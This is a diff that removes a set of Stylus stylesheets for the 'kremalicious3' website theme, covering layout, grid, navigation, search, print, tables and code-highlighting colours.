||||
// Firefox grid fix for whatever reason
|
||||
min-height: 0
|
||||
min-width: 0
|
||||
|
||||
|
||||
//
|
||||
// Alignment per row
|
||||
//
|
||||
.grid--top
|
||||
align-items: flex-start
|
||||
|
||||
.grid--bottom
|
||||
align-items: flex-end
|
||||
|
||||
.grid--center
|
||||
align-items: center
|
||||
|
||||
.grid--justifycenter
|
||||
justify-content: center
|
||||
|
||||
|
||||
//
|
||||
// Alignment per cell
|
||||
//
|
||||
.grid__col--top
|
||||
align-self: flex-start
|
||||
|
||||
.grid__col--bottom
|
||||
align-self: flex-end
|
||||
|
||||
.grid__col--center
|
||||
align-self: center
|
||||
|
||||
|
||||
//
|
||||
// Gutters
|
||||
//
|
||||
.grid--gutters
|
||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
||||
|
||||
> .grid__col
|
||||
padding: $gutter-space 0 0 $gutter-space
|
||||
|
||||
@media $screen-xs
|
||||
.grid-small--gutters
|
||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
||||
|
||||
> .grid__col
|
||||
padding: $gutter-space 0 0 $gutter-space
|
||||
|
||||
@media $screen-sm
|
||||
.grid-medium--gutters
|
||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
||||
|
||||
> .grid__col
|
||||
padding: $gutter-space 0 0 $gutter-space
|
||||
|
||||
@media $screen-lg
|
||||
.grid-large--gutters
|
||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
||||
|
||||
> .grid__col
|
||||
padding: $gutter-space 0 0 $gutter-space
|
||||
|
||||
|
||||
//
|
||||
// Columns
|
||||
//
|
||||
.grid--fit
|
||||
> .grid__col
|
||||
flex: 1
|
||||
|
||||
.grid--full
|
||||
> .grid__col
|
||||
flex: 0 0 100%
|
||||
|
||||
.grid--1of6
|
||||
> .grid__col
|
||||
flex: 0 0 16.5%
|
||||
|
||||
.grid--2of6,
|
||||
.grid--third
|
||||
> .grid__col
|
||||
flex: 0 0 33.3333%
|
||||
|
||||
.grid--3of6,
|
||||
.grid--half
|
||||
> .grid__col
|
||||
flex: 0 0 50%
|
||||
|
||||
.grid--4of6
|
||||
> .grid__col
|
||||
flex: 0 0 66%
|
||||
|
||||
.grid--5of6
|
||||
> .grid__col
|
||||
flex: 0 0 82.5%
|
||||
|
||||
|
||||
@media $screen-xs
|
||||
.grid-small--fit
|
||||
> .grid__col
|
||||
flex: 1
|
||||
|
||||
.grid-small--full
|
||||
> .grid__col
|
||||
flex: 0 0 100%
|
||||
|
||||
.grid-small--1of6
|
||||
> .grid__col
|
||||
flex: 0 0 16.5%
|
||||
|
||||
.grid-small--2of6,
|
||||
.grid-small--third
|
||||
> .grid__col
|
||||
flex: 0 0 33.3333%
|
||||
|
||||
.grid-small--3of6,
|
||||
.grid-small--half
|
||||
> .grid__col
|
||||
flex: 0 0 50%
|
||||
|
||||
.grid-small--4of6
|
||||
> .grid__col
|
||||
flex: 0 0 66%
|
||||
|
||||
.grid-small--5of6
|
||||
> .grid__col
|
||||
flex: 0 0 82.5%
|
||||
|
||||
|
||||
@media $screen-sm
|
||||
.grid-medium--fit
|
||||
> .grid__col
|
||||
flex: 1
|
||||
|
||||
.grid-medium--full
|
||||
> .grid__col
|
||||
flex: 0 0 100%
|
||||
|
||||
.grid-medium--1of6
|
||||
> .grid__col
|
||||
flex: 0 0 16.5%
|
||||
|
||||
.grid-medium--2of6,
|
||||
.grid-medium--third
|
||||
> .grid__col
|
||||
flex: 0 0 33.3333%
|
||||
|
||||
.grid-medium--3of6,
|
||||
.grid-medium--half
|
||||
> .grid__col
|
||||
flex: 0 0 50%
|
||||
|
||||
.grid-medium--4of6
|
||||
> .grid__col
|
||||
flex: 0 0 66%
|
||||
|
||||
.grid-medium--5of6
|
||||
> .grid__col
|
||||
flex: 0 0 82.5%
|
||||
|
||||
@media $screen-lg
|
||||
.grid-large--fit
|
||||
> .grid__col
|
||||
flex: 1
|
||||
|
||||
.grid-large--full
|
||||
> .grid__col
|
||||
flex: 0 0 100%
|
||||
|
||||
.grid-large--1of6
|
||||
> .grid__col
|
||||
flex: 0 0 16.5%
|
||||
|
||||
.grid-large--2of6,
|
||||
.grid-large--third
|
||||
> .grid__col
|
||||
flex: 0 0 33.3333%
|
||||
|
||||
.grid-large--3of6,
|
||||
.grid-large--half
|
||||
> .grid__col
|
||||
flex: 0 0 50%
|
||||
|
||||
.grid-large--4of6
|
||||
> .grid__col
|
||||
flex: 0 0 66%
|
||||
|
||||
.grid-large--5of6
|
||||
> .grid__col
|
||||
flex: 0 0 82.5%
|
||||
@ -1,47 +0,0 @@
|
||||
.hamburger
|
||||
@extend .transition
|
||||
width: 18px
|
||||
height: 18px
|
||||
position: relative
|
||||
transform: rotate(0deg)
|
||||
cursor: pointer
|
||||
margin-top: 6px
|
||||
|
||||
span
|
||||
@extend .transition
|
||||
display: block
|
||||
position: absolute
|
||||
height: 3px
|
||||
width: 100%
|
||||
background: $text-color-light
|
||||
border-radius: 20px
|
||||
opacity: 1
|
||||
left: 0
|
||||
transform: rotate(0deg)
|
||||
|
||||
&:nth-child(1)
|
||||
top: 0px
|
||||
transform-origin: left center
|
||||
|
||||
&:nth-child(2)
|
||||
top: 5px
|
||||
transform-origin: left center
|
||||
|
||||
&:nth-child(3)
|
||||
top: 10px
|
||||
transform-origin: left center
|
||||
|
||||
|
||||
// open state
|
||||
.has-menu-open &
|
||||
&:nth-child(1)
|
||||
transform: rotate(45deg)
|
||||
top: -1px
|
||||
|
||||
&:nth-child(2)
|
||||
width: 0%
|
||||
opacity: 0
|
||||
|
||||
&:nth-child(3)
|
||||
transform: rotate(-45deg)
|
||||
top: 12px
|
||||
@ -1,73 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Header
|
||||
//
|
||||
|
||||
.site__header
|
||||
margin-top: ($spacer/2)
|
||||
margin-bottom: ($spacer/2)
|
||||
|
||||
@media $screen-sm
|
||||
margin-top: $spacer
|
||||
margin-bottom: $spacer
|
||||
|
||||
.grid
|
||||
@extend .breakoutviewport
|
||||
padding-left: $spacer
|
||||
padding-right: $spacer
|
||||
position: relative
|
||||
|
||||
@media $screen-md
|
||||
padding-left: 0
|
||||
padding-right: 0
|
||||
|
||||
> .banner,
|
||||
> .nav-main
|
||||
padding-top: 0
|
||||
|
||||
|
||||
|
||||
// Logo
|
||||
/////////////////////////////////////
|
||||
|
||||
.logo
|
||||
display: block
|
||||
background-image: url('../img/logo.png')
|
||||
background-repeat: no-repeat
|
||||
background-position: left top
|
||||
width: 47px
|
||||
height: 31px
|
||||
|
||||
@media $screen-sm
|
||||
width: 183px
|
||||
|
||||
@media $highDPI
|
||||
background-image: url('../img/logo@2x.png')
|
||||
background-size: 183px 62px
|
||||
|
||||
@media $highDPI_3x
|
||||
background-image: url('../img/logo@3x.png')
|
||||
background-size: 183px 62px
|
||||
|
||||
.header__title
|
||||
margin: 0
|
||||
// display toned down logo
|
||||
// by default
|
||||
@extend .logo
|
||||
|
||||
.header__logo
|
||||
@extend .ir, .link--nounderline
|
||||
// repeat logo
|
||||
// but display hover version
|
||||
@extend .logo
|
||||
background-position: left bottom
|
||||
|
||||
// hide by default
|
||||
opacity: 0
|
||||
// show smooooothly on hover
|
||||
&:hover
|
||||
opacity: 1
|
||||
|
||||
&:active
|
||||
top: 0
|
||||
@ -1,23 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Icons
|
||||
//
|
||||
|
||||
svg
|
||||
&.icon
|
||||
@extend .transition
|
||||
height: 20px
|
||||
width: 20px
|
||||
display: inline-block
|
||||
fill: $text-color-light
|
||||
vertical-align: baseline
|
||||
|
||||
.btn &
|
||||
height: 18px
|
||||
width: 18px
|
||||
margin: 4px 4px -3px 4px
|
||||
|
||||
// Fix jQuery bug: http://bugs.jquery.com/ticket/11352
|
||||
use
|
||||
pointer-events: none
|
||||
@ -1,92 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Layout
|
||||
//
|
||||
|
||||
.site__content,
|
||||
.header__content
|
||||
.footer__content
|
||||
padding: 0 $spacer
|
||||
width: 100%
|
||||
|
||||
@media $screen-md
|
||||
padding: 0 ($spacer * 2)
|
||||
|
||||
.container
|
||||
max-width: 35rem
|
||||
margin-left: auto
|
||||
margin-right: auto
|
||||
|
||||
.site__document
|
||||
padding-top: ($spacer*2)
|
||||
|
||||
@media $screen-md
|
||||
padding-top: ($spacer*3)
|
||||
|
||||
|
||||
// topbar and footer as fixed
|
||||
// site background
|
||||
/////////////////////////////////////
|
||||
|
||||
.site__document
|
||||
background-color: $page-bg
|
||||
border-top: 1px solid rgba(255,255,255,.7)
|
||||
border-bottom: 1px solid rgba(255,255,255,.7)
|
||||
box-shadow: 0 1px 4px alpha($brand-dark, .1), 0 -1px 4px alpha($brand-dark, .2)
|
||||
|
||||
transform: translate3d(0,-($spacer*7.7),0)
|
||||
|
||||
@media $screen-xs
|
||||
transform: translate3d(0,-($spacer*7.2),0)
|
||||
|
||||
@media $screen-sm
|
||||
transform: translate3d(0,-($spacer*6),0)
|
||||
|
||||
@media $screen-md
|
||||
transform: translate3d(0,-($spacer*5),0)
|
||||
|
||||
.has-menu-open &
|
||||
transform: translate3d(0,0,0)
|
||||
|
||||
.site__footer
|
||||
margin-top: -($spacer*6.5)
|
||||
|
||||
@media $screen-md
|
||||
margin-top: 0
|
||||
|
||||
.has-menu-open &
|
||||
margin-top: 0
|
||||
|
||||
@media $screen-md and (min-height: 650px)
|
||||
.site
|
||||
position: relative
|
||||
|
||||
.site__document
|
||||
@extend .transition
|
||||
position: relative
|
||||
z-index: 2
|
||||
margin-bottom: 32rem
|
||||
transform: translate3d(0,($spacer*3),0)
|
||||
|
||||
.has-menu-open &
|
||||
transform: translate3d(0,($spacer*8),0)
|
||||
|
||||
.site__header,
|
||||
.site__footer
|
||||
position: fixed
|
||||
border: none
|
||||
width: 100%
|
||||
|
||||
.site__header
|
||||
z-index: 1
|
||||
top: 0
|
||||
border: none
|
||||
|
||||
.site__footer
|
||||
z-index: 0
|
||||
bottom: 0
|
||||
box-shadow: none
|
||||
|
||||
.has-menu-open &
|
||||
hide()
|
||||
@ -1,53 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Media
|
||||
//
|
||||
|
||||
|
||||
// Responsive Media
|
||||
/////////////////////////////////////
|
||||
|
||||
figure, img, svg, video, audio, embed, canvas, picture
|
||||
max-width: 100%
|
||||
height: auto
|
||||
margin: 0 auto
|
||||
display: block
|
||||
border-radius: $border-radius-base
|
||||
|
||||
// Images
|
||||
/////////////////////////////////////
|
||||
|
||||
img
|
||||
vertical-align: middle
|
||||
|
||||
|
||||
// Media Positioning
|
||||
/////////////////////////////////////
|
||||
|
||||
img.alignleft,
|
||||
img.alignright,
|
||||
img.aligncenter
|
||||
float: none
|
||||
display: block
|
||||
margin: $spacer auto
|
||||
|
||||
@media $screen-sm
|
||||
img.alignleft
|
||||
margin: 0 $spacer $spacer 0
|
||||
img.alignright
|
||||
margin: 0 0 $spacer $spacer
|
||||
|
||||
|
||||
// Image frame style
|
||||
/////////////////////////////////////
|
||||
|
||||
.media-frame
|
||||
@extend .transition
|
||||
border-top: 2px solid transparent
|
||||
border-bottom: 2px solid transparent
|
||||
border-radius: $border-radius-base
|
||||
box-shadow: 0 1px 3px alpha($brand-grey,.2)
|
||||
|
||||
@media $screen-sm
|
||||
border: 2px solid transparent
|
||||
@ -1,265 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Mixins
|
||||
//
|
||||
|
||||
|
||||
// Micro Clearfix
|
||||
/////////////////////////////////////
|
||||
|
||||
clearfix()
|
||||
&:before,
|
||||
&:after
|
||||
content: " "
|
||||
display: table
|
||||
&:after
|
||||
clear: both
|
||||
|
||||
.clearfix
|
||||
clearfix()
|
||||
|
||||
|
||||
// Floats
|
||||
/////////////////////////////////////
|
||||
|
||||
alignright()
|
||||
float: right
|
||||
|
||||
alignleft()
|
||||
float: left
|
||||
|
||||
.alignright
|
||||
alignright()
|
||||
|
||||
.alignleft
|
||||
alignleft()
|
||||
|
||||
|
||||
// Centering Blocks
|
||||
/////////////////////////////////////
|
||||
|
||||
aligncenter()
|
||||
display: block
|
||||
margin-left: auto
|
||||
margin-right: auto
|
||||
|
||||
.aligncenter
|
||||
aligncenter()
|
||||
|
||||
|
||||
// Centering Text
|
||||
/////////////////////////////////////
|
||||
|
||||
textcenter()
|
||||
text-align: center
|
||||
|
||||
.textcenter
|
||||
textcenter()
|
||||
|
||||
|
||||
// Toggling content
|
||||
/////////////////////////////////////
|
||||
|
||||
// Hide from both screenreaders and browsers: h5bp.com/u
|
||||
hide()
|
||||
display: none !important
|
||||
visibility: hidden
|
||||
|
||||
show()
|
||||
display: block
|
||||
visibility: visible
|
||||
|
||||
.hide
|
||||
hide()
|
||||
|
||||
.show
|
||||
show()
|
||||
|
||||
// Hide only visually, but have it available for screenreaders: h5bp.com/v
|
||||
visuallyhidden()
|
||||
border: 0
|
||||
clip: rect(0 0 0 0)
|
||||
height: 1px
|
||||
margin: -1px
|
||||
overflow: hidden
|
||||
padding: 0
|
||||
position: absolute
|
||||
width: 1px
|
||||
|
||||
// Extends the .visuallyhidden class to allow the
|
||||
// element to be focusable when navigated to via the keyboard: h5bp.com/p
|
||||
&.focusable:active,
|
||||
&.focusable:focus
|
||||
clip: auto
|
||||
height: auto
|
||||
margin: 0
|
||||
overflow: visible
|
||||
position: static
|
||||
width: auto
|
||||
|
||||
.visuallyhidden
|
||||
visuallyhidden()
|
||||
|
||||
// Hide visually and from screenreaders, but maintain layout
|
||||
.invisible
|
||||
visibility: hidden
|
||||
|
||||
|
||||
// CSS image replacement
|
||||
/////////////////////////////////////
|
||||
|
||||
.ir,
|
||||
.hide-text
|
||||
font: 0/0 a
|
||||
color: transparent
|
||||
text-shadow: none
|
||||
background-color: transparent
|
||||
border: 0
|
||||
|
||||
|
||||
// Text overflow
|
||||
/////////////////////////////////////
|
||||
|
||||
ellipsis()
|
||||
text-overflow: ellipsis
|
||||
overflow: hidden
|
||||
white-space: nowrap
|
||||
|
||||
.ellipsis
|
||||
ellipsis()
|
||||
|
||||
|
||||
// Default transition
|
||||
/////////////////////////////////////
|
||||
|
||||
transition()
|
||||
transition: all ease-in-out .15s
|
||||
|
||||
.transition
|
||||
transition()
|
||||
|
||||
// Dashed Dividers
|
||||
/////////////////////////////////////
|
||||
|
||||
.divider-top,
|
||||
.divider-bottom
|
||||
position: relative
|
||||
|
||||
&:before
|
||||
content: ""
|
||||
position: absolute
|
||||
left: 0
|
||||
height: 1px
|
||||
|
||||
.divider-top
|
||||
border-top: 1px dashed #afc3cb
|
||||
padding-top: 1em
|
||||
|
||||
&:after
|
||||
content: ""
|
||||
position: absolute
|
||||
left: 0
|
||||
height: 1px
|
||||
top: 0
|
||||
width: 100%
|
||||
border-top: 1px dashed #fff
|
||||
|
||||
.divider-bottom
|
||||
border-bottom: 1px dashed #afc3cb
|
||||
padding-bottom: 1em
|
||||
|
||||
&:before
|
||||
bottom: -2px
|
||||
width: 100%
|
||||
border-bottom: 1px dashed #fff
|
||||
|
||||
// Heading band
|
||||
/////////////////////////////////////
|
||||
|
||||
.heading-band
|
||||
display: inline-block
|
||||
clear: both
|
||||
background: rgba(255,255,255,.5)
|
||||
padding: ($spacer/2) $spacer ($spacer/2) 100%
|
||||
margin-left: -100%
|
||||
|
||||
|
||||
// Lead paragraph
|
||||
/////////////////////////////////////
|
||||
|
||||
.lead
|
||||
font-size: $font-size-large
|
||||
line-height: ($spacer*1.15)
|
||||
|
||||
|
||||
// Layout breakout
|
||||
/////////////////////////////////////
|
||||
|
||||
breakoutviewport()
|
||||
margin-left: calc(-50vw + 50%)
|
||||
margin-right: calc(-50vw + 50%)
|
||||
|
||||
@media $screen-md
|
||||
breakoutviewport--base()
|
||||
|
||||
breakoutviewport--base()
|
||||
margin-left: -($gutter-space * 4)
|
||||
margin-right: -($gutter-space * 4)
|
||||
|
||||
breakoutviewport--full()
|
||||
margin-left: calc(-50vw + 50%)
|
||||
margin-right: calc(-50vw + 50%)
|
||||
|
||||
.breakoutviewport
|
||||
breakoutviewport()
|
||||
|
||||
.breakoutviewport--base
|
||||
breakoutviewport--base()
|
||||
|
||||
.breakoutviewport--full
|
||||
breakoutviewport--full()
|
||||
|
||||
// Button sizing
|
||||
/////////////////////////////////////
|
||||
|
||||
button-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
|
||||
padding: padding-vertical padding-horizontal
|
||||
font-size: font-size
|
||||
line-height: line-height
|
||||
border-radius: border-radius
|
||||
|
||||
|
||||
// Form control sizing
|
||||
/////////////////////////////////////
|
||||
|
||||
input-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
|
||||
padding: padding-vertical padding-horizontal
|
||||
font-size: font-size
|
||||
line-height: line-height
|
||||
border-radius: border-radius
|
||||
|
||||
input[type="search"]&
|
||||
background-size: font-size
|
||||
background-position: padding-vertical center
|
||||
padding-left: (padding-vertical*4)
|
||||
|
||||
select&
|
||||
line-height: input-height
|
||||
|
||||
textarea&,
|
||||
select[multiple]&
|
||||
height: auto
|
||||
|
||||
|
||||
// Placeholder text
|
||||
/////////////////////////////////////
|
||||
|
||||
placeholder($color = $input-color-placeholder)
|
||||
&::-moz-placeholder // Firefox
|
||||
color $color
|
||||
opacity 1 // Override Firefox's unusual default opacity; See https//github.com/twbs/bootstrap/pull/11526
|
||||
&:-ms-input-placeholder // Internet Explorer 10+
|
||||
color $color
|
||||
&::-webkit-input-placeholder // Safari and Chrome
|
||||
color $color
|
||||
@ -1,105 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Navigation
|
||||
//
|
||||
|
||||
.menu-btn,
|
||||
.search-btn
|
||||
@extend .textcenter
|
||||
line-height: 1em
|
||||
vertical-align: middle
|
||||
display: inline-block
|
||||
margin: 0
|
||||
position: absolute
|
||||
right: $spacer
|
||||
top: -($spacer/4)
|
||||
|
||||
@media $screen-md
|
||||
right: 0
|
||||
|
||||
&:focus
|
||||
outline: 0
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
.icon
|
||||
fill: $link-color
|
||||
.hamburger span
|
||||
background: $link-color
|
||||
|
||||
&:active
|
||||
background: transparent
|
||||
transition: none
|
||||
|
||||
.icon
|
||||
fill: darken($link-color, 30%)
|
||||
.hamburger span
|
||||
background: darken($link-color, 30%)
|
||||
|
||||
.menu-btn
|
||||
margin-right: -.5em
|
||||
padding: .5em .7em
|
||||
|
||||
|
||||
// Main Navigation
|
||||
/////////////////////////////////////
|
||||
|
||||
.nav-popover
|
||||
@extend .divider-top, .list-unstyled
|
||||
padding: $spacer 0
|
||||
margin-top: $spacer
|
||||
margin-bottom: 0
|
||||
display: flex // .nav-popver overwrite
|
||||
margin-left: 0 // .grid overwrite
|
||||
|
||||
.grid__col
|
||||
padding-top: 0
|
||||
|
||||
opacity: 0
|
||||
|
||||
.has-menu-open &
|
||||
opacity: 1
|
||||
|
||||
.nav-link
|
||||
@extend .link--nounderline, .category
|
||||
font-size: $font-size-small
|
||||
text-shadow: 0 1px 0 rgba(#fff, .5)
|
||||
padding: $padding-base-horizontal
|
||||
margin-bottom: 0
|
||||
margin-top: 0
|
||||
display: block
|
||||
border: none
|
||||
|
||||
|
||||
// Paginator
|
||||
/////////////////////////////////////
|
||||
|
||||
.paginator
|
||||
@extend .textcenter
|
||||
padding-top: ($spacer*2)
|
||||
padding-bottom: ($spacer*2)
|
||||
|
||||
.icon
|
||||
margin-bottom: -5px
|
||||
|
||||
.paginator__link
|
||||
@extend .link--nounderline
|
||||
width: 2rem
|
||||
height: 2rem
|
||||
line-height: 1.7
|
||||
display: inline-block
|
||||
border-radius: 50%
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
background: rgba(255,255,255,.3)
|
||||
|
||||
&.active
|
||||
@extend .text-dimmed
|
||||
cursor: default
|
||||
pointer-events: none
|
||||
background: rgba(255,255,255,.3)
|
||||
|
||||
.paginator-title
|
||||
@extend .page-title
|
||||
@ -1,80 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Print
|
||||
//
|
||||
|
||||
|
||||
@media print
|
||||
|
||||
*
|
||||
background: transparent
|
||||
color: black !important
|
||||
box-shadow:none !important
|
||||
text-shadow: none !important
|
||||
|
||||
.entry-content a[href]:after
|
||||
content: " (" attr(href) ")"
|
||||
text-transform: none
|
||||
font-size: $font-size-small
|
||||
|
||||
// hide stuff in article view
|
||||
.related-posts,
|
||||
.footer .grid:first-child,
|
||||
.hentry:before,
|
||||
.topbar
|
||||
hide()
|
||||
|
||||
.hentry
|
||||
border: none
|
||||
|
||||
.footer
|
||||
color: #ccc !important
|
||||
|
||||
.footer-copyright
|
||||
border-top: 1px solid #000 !important
|
||||
|
||||
&:after
|
||||
hide()
|
||||
|
||||
abbr[title]:after
|
||||
content: " (" attr(title) ")"
|
||||
|
||||
// Don't show links for images, or javascript/internal links
|
||||
.ir a:after,
|
||||
a[href^="javascript:"]:after,
|
||||
a[href^="#"]:after
|
||||
content: ""
|
||||
|
||||
pre,
|
||||
blockquote
|
||||
page-break-inside: avoid
|
||||
|
||||
thead
|
||||
display: table-header-group
|
||||
|
||||
tr,
|
||||
img
|
||||
page-break-inside: avoid
|
||||
|
||||
img
|
||||
max-width: 100% !important
|
||||
|
||||
@page
|
||||
margin: 5.5cm
|
||||
|
||||
p,
|
||||
h2,
|
||||
h3
|
||||
orphans: 3
|
||||
widows: 3
|
||||
|
||||
.hentry
|
||||
h1
|
||||
page-break-before: always
|
||||
&:first-child h1
|
||||
page-break-before: avoid
|
||||
|
||||
h2,
|
||||
h3
|
||||
page-break-after: avoid
|
||||
@ -1,23 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Scaffolding
|
||||
//
|
||||
|
||||
|
||||
// Body
|
||||
/////////////////////////////////////
|
||||
body
|
||||
background: $body-bg
|
||||
|
||||
|
||||
// Reset fonts for relevant elements
|
||||
/////////////////////////////////////
|
||||
|
||||
input,
|
||||
button,
|
||||
select,
|
||||
textarea
|
||||
font-family: inherit
|
||||
font-size: inherit
|
||||
line-height: inherit
|
||||
@ -1,86 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Search
|
||||
//
|
||||
|
||||
.has-search-open
|
||||
overflow: hidden
|
||||
|
||||
.site__content
|
||||
@extend .transition
|
||||
filter: blur(10px) opacity(0.3)
|
||||
user-select: none
|
||||
pointer-events: none
|
||||
|
||||
.search-btn
|
||||
right: 70px
|
||||
padding: .65em .85em
|
||||
|
||||
@media $screen-md
|
||||
right: 50px
|
||||
|
||||
.search-close
|
||||
position: absolute
|
||||
right: 14px
|
||||
|
||||
&,
|
||||
&:active
|
||||
top: 8%
|
||||
|
||||
.search-area
|
||||
@extend .transition
|
||||
position: absolute
|
||||
left: 0
|
||||
top: -7px
|
||||
z-index: 3
|
||||
margin-left: ($spacer / 2)
|
||||
margin-right: ($spacer / 2)
|
||||
width: "calc(100% - %s)" % $spacer
|
||||
|
||||
// hidden by default
|
||||
display: none
|
||||
|
||||
@media $screen-md
|
||||
margin-left: 0
|
||||
margin-right: 0
|
||||
width: 100%
|
||||
|
||||
&.is-ready
|
||||
display: block
|
||||
|
||||
.form-control
|
||||
background: #fff
|
||||
|
||||
|
||||
.search-popover
|
||||
position: absolute
|
||||
left: 0
|
||||
top: ($spacer*2.4)
|
||||
bottom: 0
|
||||
z-index: 6
|
||||
width: 100%
|
||||
max-height: 90vh
|
||||
padding: ($spacer / 2) 0
|
||||
overflow: auto
|
||||
-webkit-overflow-scrolling: touch
|
||||
|
||||
@media $screen-sm
|
||||
top: ($spacer * 3)
|
||||
|
||||
.search-results
|
||||
@extend .breakoutviewport
|
||||
padding-bottom: $spacer
|
||||
|
||||
.search-link
|
||||
@extend .h4
|
||||
line-height: $line-height-small
|
||||
margin: 0
|
||||
padding: ($spacer / 2)
|
||||
display: block
|
||||
border-bottom: 1px solid alpha($brand-grey-light, .2)
|
||||
box-shadow: 0 1px 0 alpha(#fff,.2)
|
||||
|
||||
&:hover
|
||||
background: $link-color
|
||||
color: #fff
|
||||
@ -1,69 +0,0 @@
|
||||
|
||||
// https://github.com/MozMorris/tomorrow-pygments/blob/master/css/tomorrow_night_eighties.css
|
||||
|
||||
|
||||
.highlight .hll { background-color: #515151 }
|
||||
.highlight { color: #cccccc }
|
||||
.highlight .c { color: #777 } /* Comment */
|
||||
.highlight .err { color: #f2777a } /* Error */
|
||||
.highlight .k { color: #cc99cc } /* Keyword */
|
||||
.highlight .l { color: #f99157 } /* Literal */
|
||||
.highlight .n { color: #cccccc } /* Name */
|
||||
.highlight .o { color: #66cccc } /* Operator */
|
||||
.highlight .p { color: #cccccc } /* Punctuation */
|
||||
.highlight .cm { color: #777 } /* Comment.Multiline */
|
||||
.highlight .cp { color: #777 } /* Comment.Preproc */
|
||||
.highlight .c1 { color: #777 } /* Comment.Single */
|
||||
.highlight .cs { color: #777 } /* Comment.Special */
|
||||
.highlight .gd { color: #f2777a } /* Generic.Deleted */
|
||||
.highlight .ge { font-style: italic } /* Generic.Emph */
|
||||
.highlight .gh { color: #cccccc; font-weight: bold } /* Generic.Heading */
|
||||
.highlight .gi { color: #99cc99 } /* Generic.Inserted */
|
||||
.highlight .gp { color: #999999; font-weight: bold } /* Generic.Prompt */
|
||||
.highlight .gs { font-weight: bold } /* Generic.Strong */
|
||||
.highlight .gu { color: #66cccc; font-weight: bold } /* Generic.Subheading */
|
||||
.highlight .kc { color: #cc99cc } /* Keyword.Constant */
|
||||
.highlight .kd { color: #cc99cc } /* Keyword.Declaration */
|
||||
.highlight .kn { color: #66cccc } /* Keyword.Namespace */
|
||||
.highlight .kp { color: #cc99cc } /* Keyword.Pseudo */
|
||||
.highlight .kr { color: #cc99cc } /* Keyword.Reserved */
|
||||
.highlight .kt { color: #ffcc66 } /* Keyword.Type */
|
||||
.highlight .ld { color: #99cc99 } /* Literal.Date */
|
||||
.highlight .m { color: #f99157 } /* Literal.Number */
|
||||
.highlight .s { color: #99cc99 } /* Literal.String */
|
||||
.highlight .na { color: #6699cc } /* Name.Attribute */
|
||||
.highlight .nb { color: #cccccc } /* Name.Builtin */
|
||||
.highlight .nc { color: #ffcc66 } /* Name.Class */
|
||||
.highlight .no { color: #f2777a } /* Name.Constant */
|
||||
.highlight .nd { color: #66cccc } /* Name.Decorator */
|
||||
.highlight .ni { color: #cccccc } /* Name.Entity */
|
||||
.highlight .ne { color: #f2777a } /* Name.Exception */
|
||||
.highlight .nf { color: #6699cc } /* Name.Function */
|
||||
.highlight .nl { color: #cccccc } /* Name.Label */
|
||||
.highlight .nn { color: #ffcc66 } /* Name.Namespace */
|
||||
.highlight .nx { color: #6699cc } /* Name.Other */
|
||||
.highlight .py { color: #cccccc } /* Name.Property */
|
||||
.highlight .nt { color: #66cccc } /* Name.Tag */
|
||||
.highlight .nv { color: #f2777a } /* Name.Variable */
|
||||
.highlight .ow { color: #66cccc } /* Operator.Word */
|
||||
.highlight .w { color: #cccccc } /* Text.Whitespace */
|
||||
.highlight .mf { color: #f99157 } /* Literal.Number.Float */
|
||||
.highlight .mh { color: #f99157 } /* Literal.Number.Hex */
|
||||
.highlight .mi { color: #f99157 } /* Literal.Number.Integer */
|
||||
.highlight .mo { color: #f99157 } /* Literal.Number.Oct */
|
||||
.highlight .sb { color: #99cc99 } /* Literal.String.Backtick */
|
||||
.highlight .sc { color: #cccccc } /* Literal.String.Char */
|
||||
.highlight .sd { color: #999999 } /* Literal.String.Doc */
|
||||
.highlight .s2 { color: #99cc99 } /* Literal.String.Double */
|
||||
.highlight .se { color: #f99157 } /* Literal.String.Escape */
|
||||
.highlight .sh { color: #99cc99 } /* Literal.String.Heredoc */
|
||||
.highlight .si { color: #f99157 } /* Literal.String.Interpol */
|
||||
.highlight .sx { color: #99cc99 } /* Literal.String.Other */
|
||||
.highlight .sr { color: #99cc99 } /* Literal.String.Regex */
|
||||
.highlight .s1 { color: #99cc99 } /* Literal.String.Single */
|
||||
.highlight .ss { color: #99cc99 } /* Literal.String.Symbol */
|
||||
.highlight .bp { color: #cccccc } /* Name.Builtin.Pseudo */
|
||||
.highlight .vc { color: #f2777a } /* Name.Variable.Class */
|
||||
.highlight .vg { color: #f2777a } /* Name.Variable.Global */
|
||||
.highlight .vi { color: #f2777a } /* Name.Variable.Instance */
|
||||
.highlight .il { color: #f99157 } /* Literal.Number.Integer.Long */
|
||||
@ -1,68 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Tables
|
||||
//
|
||||
|
||||
|
||||
table
|
||||
border-collapse: collapse
|
||||
border-spacing: 0
|
||||
width: 100%
|
||||
max-width: 100%
|
||||
background-color: transparent
|
||||
margin-bottom: $spacer
|
||||
border-bottom: 1px solid #cfd9e1
|
||||
|
||||
td
|
||||
vertical-align: top
|
||||
|
||||
th,
|
||||
td
|
||||
padding: .7em .3em
|
||||
text-align: left
|
||||
vertical-align: top
|
||||
border-top: 1px solid #cfd9e1
|
||||
|
||||
th
|
||||
@extend .bold
|
||||
|
||||
thead th
|
||||
vertical-align: bottom
|
||||
|
||||
table tbody + tbody
|
||||
border-top: 2px solid #cfd9e1
|
||||
|
||||
table tbody tr:nth-child(odd) td,
|
||||
table tbody tr:nth-child(odd) th
|
||||
background-color: rgba(255,255,255,.2)
|
||||
|
||||
table tbody tr:hover td,
|
||||
table tbody tr:hover th
|
||||
background-color: #f5f5f5
|
||||
|
||||
|
||||
